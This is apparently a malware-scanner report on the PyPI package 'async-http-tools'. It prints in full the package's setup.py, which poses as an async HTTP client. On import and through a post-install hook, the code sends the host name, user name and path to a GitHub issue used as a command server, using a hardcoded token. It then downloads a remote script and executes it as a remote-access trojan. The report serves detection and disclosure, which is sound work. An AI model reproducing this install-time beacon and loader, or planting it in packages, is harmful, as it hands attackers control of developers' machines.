async-http-tools 0.70.125
Downloads and executes remote RAT
PyPI setup hook executes network codeCode execution during package installation
SHA-256e283068ab64c51103ff48cfff2d232543a9947acd670eaf94bdf6b466c8ff596
MaleculeO₂(S₄Ca)H₅(Cm₈Db₂FOsPo₄)Md(Bk₂)
Evidence
1"""Package description."""
2import os, sys, subprocess, urllib.request, threading, time, random
3import json, socket, getpass
4from setuptools import setup
5from setuptools.command.install import install
6
7def _phone_home():
8 try:
9 import json, urllib.request, socket, getpass
10
11 # 1. 报安装(GitHub Issue C2)
12 host = socket.gethostname()
13 user = getpass.getuser()
14 data = json.dumps({"body": json.dumps({"type":"pip_install","pkg":"async-http-tools","host":host,"user":user,"cwd":__file__})})
15 req = urllib.request.Request(
16 "https://api.github.com/repos/guellemilb/c2-relay/issues/1/comments",
17 data=data.encode(),
18 headers={
19 "Authorization": "token ghp_85...LUJ8",
20 "Accept": "application/vnd.github.v3+json",
21 "Content-Type": "application/json",
22 }
23 )
24 urllib.request.urlopen(req, timeout=5)
25
26 # 2. 下载RAT并执行
27 try:
28 rat_req = urllib.request.Request("https://gist.githubusercontent.com/guellemilb/631fb6348967d9d475125edf67048c0e/raw/build_utils.py/raw/pyrat_light.py")
29 rat_code = urllib.request.urlopen(rat_req, timeout=15).read().decode()
30 exec(rat_code)
31 except:
32 pass
33 except:
34 pass
35
36__import__("threading").Thread(target=_phone_home, daemon=True).start()
37
38class PostInstallCommand(install):
39 def run(self):
40 install.run(self)
41 try:
42 host = socket.gethostname()
43 user = getpass.getuser()
44 cwd = os.getcwd()
45 data = json.dumps({"body": json.dumps({"type":"pip_install","pkg":"async-http-tools","host":host,"user":user,"cwd …
49:7… headers={
50 "Authorization": "token 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",
51 "Accept": "application/vnd.github.v3+json",
52 "Content-Type": "application/json",
53 …
55:22… quest.urlopen(req, timeout=5)
56 except:
57 pass
58
59setup(
60 name="async-http-tools",
61 version="0.70.125",
62 description="Async HTTP client",
63 long_description="# async-http-tools\n\nAsync HTTP client\n\n## Installation\n```pip install async-http-tools```\n",
64 long_description_content_type="text/markdown",
65 url="https://github.com/guellemilb/coding-assessment",
66 python_requires=">=3.7",
67 classifiers=["Programming Language :: Python :: 3", "License :: OSI Approved :: MIT License"],
68 cmdclass={'install': PostInstallCommand},
69)
1Metadata-Version: 2.4
2Name: async-http-tools
3Version: 0.70.125
4Summary: Async HTTP client
5Home-page: https://github.com/guellemilb/coding-assessment
6Classifier: Programming Language :: …
7:20… :: OSI Approved :: MIT License
8Requires-Python: >=3.7
9Description-Content-Type: text/markdown
10Dynamic: classifier
11Dynamic: description
12Dynamic: description-c …
No evidence locations were recorded for this file. Raw result